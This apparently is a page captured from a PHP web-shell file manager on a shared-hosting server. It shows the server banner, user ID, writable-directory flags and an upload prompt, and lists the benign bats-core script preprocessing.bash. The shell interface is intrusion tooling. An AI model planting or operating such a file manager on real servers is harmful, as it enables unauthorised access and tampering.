Server : LiteSpeed
System : Linux us-phx-web1359.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u311880514 ( 311880514)
PHP Version : 8.1.31
Disable Function : NONE
Directory :  /lib/bats-core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //lib/bats-core/preprocessing.bash
#!/usr/bin/bash

BATS_TMPNAME="$BATS_RUN_TMPDIR/bats.$$"
BATS_PARENT_TMPNAME="$BATS_RUN_TMPDIR/bats.$PPID"
# shellcheck disable=SC2034
BATS_OUT="${BATS_TMPNAME}.out" # used in bats-exec-file

bats_preprocess_source() {
	# export to make it visible to bats_evaluate_preprocessed_source
	# since the latter runs in bats-exec-test's bash while this runs in bats-exec-file's
	export BATS_TEST_SOURCE="${BATS_TMPNAME}.src"
	bats-preprocess "$BATS_TEST_FILENAME" >"$BATS_TEST_SOURCE"
}

bats_evaluate_preprocessed_source() {
	if [[ -z "${BATS_TEST_SOURCE:-}" ]]; then
		BATS_TEST_SOURCE="${BATS_PARENT_TMPNAME}.src"
	fi
	# Dynamically loaded user files provided outside of Bats.
	# shellcheck disable=SC1090
	source "$BATS_TEST_SOURCE"
}

F1le Man4ger